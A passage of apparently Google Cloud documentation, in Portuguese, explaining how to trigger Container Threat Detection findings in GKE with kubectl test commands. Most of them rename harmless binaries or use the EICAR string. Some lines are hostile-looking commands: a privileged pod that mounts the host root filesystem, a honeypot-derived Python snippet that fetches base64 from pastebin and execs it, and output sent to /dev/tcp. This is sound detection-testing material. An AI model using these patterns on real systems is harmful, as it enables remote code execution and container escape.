Para acionar uma deteção Defense Evasion: Launch Code Compiler Tool In Container (Pré-visualização), uma ferramenta de compilação de código tem de ser executada num contentor. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Copia /bin/ls e muda o nome para gcc10 (ou outro compilador, como clang). Este comportamento é denunciado como suspeito porque pode indicar uma tentativa de compilar e executar código malicioso no contentor para evitar a deteção ou modificar o respetivo comportamento.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute um ficheiro binário do compilador, como gcc10, com os argumentos adequados:

    • Nó x86:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      
    • Nó ARM:

      tag="ktd-test-launch-code-compiler-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/gcc10; /tmp/gcc10 -o /tmp/gcc10.o"
      

Este procedimento de teste cria uma descoberta Defense Evasion: Launch Code Compiler Tool In Container que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Evasão de defesa: certificado de raiz instalado (pré-visualização)

Para acionar uma deteção de certificado de raiz instalado, crie um ficheiro de certificado de raiz no anfitrião a partir de um contentor. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, montando o sistema de ficheiros raiz do anfitrião no contentor. Em seguida, cria um ficheiro de certificado vazio num diretório adequado.

Este é um detetor de monitorização de ficheiros e tem requisitos específicos da versão do GKE.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Instale um ficheiro de certificado no anfitrião a partir de um contentor.

    • Nó x86:

      tag="ktd-test-cert-install-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}]}}'
      
    • Nó ARM:

      tag="ktd-test-cert-install-arm-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never --rm=true -ti --image ubuntu "$tag"\
         --overrides='{"apiVersion": "v1", "spec": {
         "containers":[{"command": ["sh", "-c", "mkdir -p /host/etc/pki/tls/certs; /bin/touch /host/etc/pki/tls/certs/ca-bundle.crt"],
         "name": "'$tag'", "image": "marketplace.gcr.io/google/ubuntu2404:latest",
         "securityContext": {"privileged": true},
         "volumeMounts":[{"mountPath": "/host/", "name": "host-mount",
         "readOnly": false}]}],
         "volumes": [{"name": "host-mount","hostPath": {"path": "/"}}],
         "nodeSelector": {"kubernetes.io/arch":"arm64"}, "tolerations":[{ "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" }] }}'
      

      Este procedimento de teste aciona uma descoberta de certificado de raiz instalado que pode ver no Security Command Center e, se tiver configurado o registo para a deteção de ameaças de contentores, no Cloud Logging. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center ao nível da organização.

Execução: Added Malicious Binary Executed

Para acionar uma descoberta Execution: Added Malicious Binary Executed, coloque um ficheiro binário malicioso no seu contentor e execute-o. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, cria um ficheiro malicioso simulado e, em seguida, executa-o. A execução do ficheiro binário é inesperada porque o ficheiro binário malicioso simulado não fazia parte da imagem do contentor original, e o ficheiro binário é um ficheiro de teste EICAR, um ficheiro classificado como malicioso pela inteligência contra ameaças.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Largue o ficheiro binário EICAR e execute-o:

    • Nó x86:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      
    • Nó ARM:

      tag="ktd-test-added-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c \
            "touch /tmp/test_mal_file; echo -n '$eicar' > /tmp/test_mal_file; chmod 700 /tmp/test_mal_file; /tmp/test_mal_file; sleep 10"
      

Este procedimento de teste deve criar uma deteção Execution: Added Malicious Binary Executed que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a Deteção de ameaças de contentores. A visualização de descobertas no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Para a redução de ruído, quando cria um contentor pela primeira vez, a Deteção de ameaças de contentores filtra temporariamente as conclusões Execution: Added Malicious Binary Executed. Para ver todas as conclusões de Execution: Added Malicious Binary Executed enquanto um contentor está a ser configurado, adicione o prefixo ktd-test ao nome do contentor ou do pod, como no exemplo.

Execução: fuga do contentor

Para acionar uma deteção de fuga do contentor, coloque um ficheiro binário no contentor e execute-o. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outra localização, muda-lhe o nome para uma ferramenta suspeita (botb-linux-amd64) e executa-a com argumentos adicionais. Esta ação é considerada suspeita porque esta execução simula um comportamento consistente com uma tentativa de fuga do contentor.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Largue um ficheiro binário de uma ferramenta de exploração de contentores, como botb-linux-amd64, e execute-o:

    • Nó x86:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-amd64; /tmp/botb-linux-amd64 -autopwn"
      
    • Nó ARM:

      tag="ktd-test-container-escape-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/botb-linux-arm64; /tmp/botb-linux-arm64 -autopwn"
      

Este procedimento de teste deve criar uma deteção Execution: Container Escape que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a Deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Execução: execução sem ficheiros em /memfd:

Para acionar uma Execution: Fileless Execution in /memfd:descoberta, tem de ser executado um processo a partir do /memfd:sistema de ficheiros na memória. Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário /bin/ls é copiado para um ficheiro anónimo em /memfd:. Em seguida, este ficheiro binário copiado é executado. A execução de um ficheiro binário em /memfd: é denunciada como suspeita porque imita o comportamento de um objeto que tenta executar na memória para evitar deteções baseadas em ficheiros.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Crie um contentor privilegiado e abra o bash para executar comandos:

    • Nó x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:latest \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open('/bin/ls','rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create('', 0)
      fname = '/proc/self/fd/{}'.format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ['/bin']
      os.execve(fname, args, os.environ)"
      
    • Nó ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import os,sys,time
      
      time.sleep(10)
      f = open('/bin/ls','rb')
      execdata = f.read()
      f.close()
      fd = os.memfd_create('', 0)
      fname = '/proc/self/fd/{}'.format(fd)
      f = open(fname,'wb')
      f.write(execdata)
      f.close()
      args = ['/bin']
      os.execve(fname, args, os.environ)"
      

Este procedimento de teste deve criar uma descoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores.Execution: Fileless Execution in /memfd: A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Execução: execução da vulnerabilidade Ingress Nightmare

Para acionar uma execução: resultado da execução da vulnerabilidade Ingress Nightmare (pré-visualização), execute o ficheiro binário nginx no seu contentor. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outra localização, muda-lhe o nome para um binário do Nginx (nginx) e executa-o com argumentos adicionais que fazem referência ao sistema de ficheiros /proc. Esta ação é considerada suspeita porque simula um comportamento consistente com a exploração Ingress Nightmare (CVE-2025-1974), indicando, assim, uma potencial execução de código remoto.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Crie um ficheiro binário Nginx, como nginx, e execute-o enquanto acede ao sistema de ficheiros /proc:

    • Nó x86:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      
    • Nó ARM:

      tag="ktd-test-ingress-nightmare-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/nginx; /tmp/nginx /proc/1/fd/1"
      

Este procedimento de teste cria uma vulnerabilidade de execução: Ingress Nightmare Um resultado de execução que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a Deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center

Execução: execução da ferramenta de ataque do Kubernetes

Para acionar uma descoberta de execução: execução da ferramenta de ataque do Kubernetes, coloque um ficheiro binário no seu contentor e execute-o. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outra localização, muda-lhe o nome para uma ferramenta suspeita (amicontained) e executa-a. Esta ação é considerada suspeita porque simula um comportamento consistente com uma potencial tentativa de execução de uma ferramenta de ataque do Kubernetes.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Solte um ficheiro binário da ferramenta de ataque do Kubernetes, como amicontained, e execute-o:

    • Nó x86:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      
    • Nó ARM:

      tag="ktd-test-kubernetes-attack-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/amicontained; /tmp/amicontained"
      

Este procedimento de teste deve criar uma deteção Execution: Kubernetes Attack Tool Execution que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a Deteção de ameaças de contentores. A visualização de descobertas no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Execução: execução da ferramenta de reconhecimento local

Para acionar uma deteção Execution: Local Reconnaissance Tool Execution, coloque um ficheiro binário no seu contentor e execute-o. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, copia /bin/ls para outra localização, muda-lhe o nome para uma ferramenta suspeita (linenum.sh) e executa-a. Esta ação é considerada suspeita porque a execução do ficheiro binário com o nome alterado simula um comportamento consistente com uma tentativa de reconhecimento local.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Introduza um ficheiro binário da ferramenta de reconhecimento local, como linenum.sh, e execute-o:

    • Nó x86:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      
    • Nó ARM:

      tag="ktd-test-local-reconn-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/linenum.sh; /tmp/linenum.sh"
      

Este procedimento de teste deve criar uma descoberta de execução: ferramenta de reconhecimento local que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Execução: Python malicioso executado

Para acionar uma descoberta Execution: Malicious Python Executed, pode executar Python no seguinte procedimento no seu contentor.

O procedimento implementa a imagem Python mais recente, copia o código Python que parece malicioso e, em seguida, executa-o. Para acionar uma deteção, o código Python tem de parecer malicioso para o detetor.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute o seguinte script num novo contentor.

    Este código Python teve origem num honeypot. No entanto, foi modificado para não executar o ficheiro binário malicioso. A execução do script não causa atividade maliciosa no seu contentor. O ficheiro binário no URL referenciado não existe e a tentativa de seguir o URL resulta num erro 404. Isto é normal. A tentativa de transferir, descodificar e executar um ficheiro binário através de um script inline é o que aciona a deteção.

    • Nó x86:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image marketplace.gcr.io/google/python:latest \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      
    • Nó ARM:

      tag="ktd-test-malicious-python-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true  -i \
         --image python:3-buster \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- python -c "import urllib
      import base64
      import os
      
      url = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      f = os.popen(str(page))
      url = 'https://pastebin.com/raw/Z'
      d = 'https://pastebin.com/raw/Z'
      page = base64.b64decode(urllib.urlopen(url).read())
      page = ''
      exec(page)"
      

Este procedimento de teste cria uma deteção Execution: Malicious Python Executed que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a Deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Execução: ficheiro binário malicioso modificado executado

Para acionar uma descoberta Execution: Modified Malicious Binary Executed, modifique um ficheiro binário malicioso no seu contentor e execute-o. Este exemplo implementa a imagem mais recente do Ubuntu 24.04, modifica /bin/ls para um ficheiro malicioso de teste EICAR e, em seguida, executa-o. A execução do binário é inesperada porque o /bin/ls criado é modificado durante o tempo de execução do contentor como um binário malicioso de teste EICAR, e o binário EICAR é um ficheiro malicioso conhecido de acordo com a inteligência contra ameaças.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Largue o ficheiro binário EICAR e execute-o:

    • Nó x86:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      
    • Nó ARM:

      tag="ktd-test-modified-malicious-binary-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      eicar='X5O!P%@AP[4\PZX54(P^)7CC)7}$EICAR-STANDARD-ANTIVIRUS-TEST-FILE!$H+H*'
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- sh -c "echo -n '$eicar' > /bin/ls; /bin/ls; sleep 10"
      

Este procedimento de teste deve criar uma deteção Execution: Modified Malicious Binary Executed que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a Deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Para a redução de ruído, quando cria um contentor pela primeira vez, a Deteção de ameaças de contentores filtra temporariamente as conclusões Execution: Modified Malicious Binary Executed. Para ver todas as conclusões de Execution: Modified Malicious Binary Executed enquanto um contentor está a ser configurado, adicione o prefixo ktd-test ao nome do contentor ou do pod, como no exemplo.

Execução: execução remota de código do Netcat no contentor

Para acionar um evento Execution: Netcat Remote Code Execution In Container, tem de estar presente e ser executado no contentor um ficheiro binário capaz de comunicação de rede (como o próprio netcat ou uma cópia com outro nome de outra utilidade). Este exemplo implementa a imagem mais recente do Ubuntu 24.04 como base. Copia o ficheiro binário /bin/ls e muda o nome dessa cópia para netcat (uma utilidade de rede). Em seguida, este ficheiro binário com novo nome é executado com argumentos adequados para a interação de rede. Esta atividade é denunciada como suspeita porque imita o comportamento frequentemente observado durante tentativas reais de execução de código remoto em ambientes contentorizados.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Introduza um ficheiro binário de ferramenta de comunicação de rede, como netcat, e execute-o com os argumentos adequados:

    • Nó x86:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      
    • Nó ARM:

      tag="ktd-test-netcat-remote-code-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/netcat; /tmp/netcat --sh-exec"
      

Este procedimento de teste deve criar uma descoberta Execution: Netcat Remote Code Execution In Container que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Execução: possível execução de comandos arbitrários através do CUPS (CVE-2024-47177)

Para acionar uma descoberta, a execução de um processo de shell pelo foomatic-rip tem de ocorrer.Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177) Este exemplo usa a imagem mais recente do Ubuntu 24.04. Copia /bin/bash para /tmp/foomatic-rip. Este ficheiro binário renomeado e copiado é executado como um script de shell para criar um comando de shell secundário. Este comportamento é sinalizado como suspeito porque pode indicar uma tentativa de executar cargas de trabalho arbitrárias em sistemas comprometidos.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute o comando com os argumentos adequados:

    • Nó x86:

      tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu1804:latest \
         "$tag" -- bash -c \
         'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
      
    • Nó ARM:

      tag="ktd-test-cups-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
         'cp /bin/bash /tmp/foomatic-rip; echo "#!/tmp/foomatic-rip" >> /tmp/test.sh; echo "sh -c echo hello" >> /tmp/test.sh; chmod +x /tmp/test.sh; /tmp/test.sh; sleep 10'
      

Este procedimento de teste cria uma Execution: Possible Arbitrary Command Execution through CUPS (CVE-2024-47177)descoberta que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de descobertas no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Execução: possível execução de comando remoto detetada

Para acionar uma deteção Execution: Possible Remote Command Execution Detected (Pré-visualização), a execução de um comando ou um ficheiro binário normalmente associado à execução de comandos remotos tem de ser observada num contentor. Este exemplo usa a imagem mais recente do Ubuntu 24.04. Copia /bin/ls e muda o nome para touch (ou outra ferramenta como find). Em seguida, este ficheiro binário com o nome alterado é executado com argumentos adequados para a execução de comandos remotos. Este comportamento é denunciado como suspeito porque pode indicar uma tentativa de estabelecer acesso remoto não autorizado ao contentor ou a partir deste.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Execute um ficheiro binário como touch com os argumentos adequados:

    • Nó x86:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      
    • Nó ARM:

      tag="ktd-test-remote-cmd-exec-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/touch; echo "Hello" | /tmp/touch >& /dev/tcp/8.8.8.8/53"
      

Este procedimento de teste cria uma descoberta Execution: Possible Remote Command Execution Detected que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a Deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Execution: Program Run with Disallowed HTTP Proxy Env

Para acionar uma descoberta Execution: Program Run with Disallowed HTTP Proxy Env, execute um programa num contentor, definindo uma variável de ambiente de proxy HTTP para um valor não permitido. Este exemplo usa a imagem mais recente do Ubuntu 24.04. O utilitário /bin/ls é copiado e mudado para /tmp/curl. Em seguida, este ficheiro binário com novo nome é executado com um valor não permitido definido para uma variável de ambiente de proxy HTTP (por exemplo, HTTP_PROXY, http_proxy). A combinação da execução do programa e da presença de um ambiente de proxy HTTP não permitido é denunciada como suspeita, uma vez que sugere uma tentativa de comunicação através de um proxy não autorizado.

  1. Defina variáveis de ambiente.

  2. Use o Cloud Shell para aceder ao plano de controlo do cluster:

    gcloud container clusters get-credentials $CLUSTER_NAME \
        --zone $ZONE \
        --project $PROJECT
    
  3. Executar um binário com capacidade de rede, como curl, e executá-lo com uma variável de ambiente de proxy HTTP não permitida:

    • Nó x86:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      
    • Nó ARM:

      tag="ktd-test-program-with-http-proxy-$(date -u +%Y-%m-%d-%H-%M-%S-utc)"
      kubectl run \
         --restart=Never \
         --rm=true -i \
         --image marketplace.gcr.io/google/ubuntu2404:latest \
         --overrides='{"apiVersion": "v1", "spec": { "nodeSelector":
         {"kubernetes.io/arch":"arm64"}, "tolerations":[ { "effect":
         "NoSchedule", "key": "kubernetes.io/arch", "operator": "Equal",
         "value": "arm64" } ]}}' \
         "$tag" -- bash -c \
            "cp /bin/ls /tmp/curl; HTTP_PROXY=127.0.0.1:8080 /tmp/curl"
      

Este procedimento de teste deve criar uma deteção Execution: Program Run with Disallowed HTTP Proxy Env que pode ver no Security Command Center e no Cloud Logging se tiver configurado o registo para a deteção de ameaças de contentores. A visualização de resultados no Cloud Logging só está disponível se ativar o nível Premium ou Enterprise do Security Command Center.

Execução: Socat Reverse Shell Detected

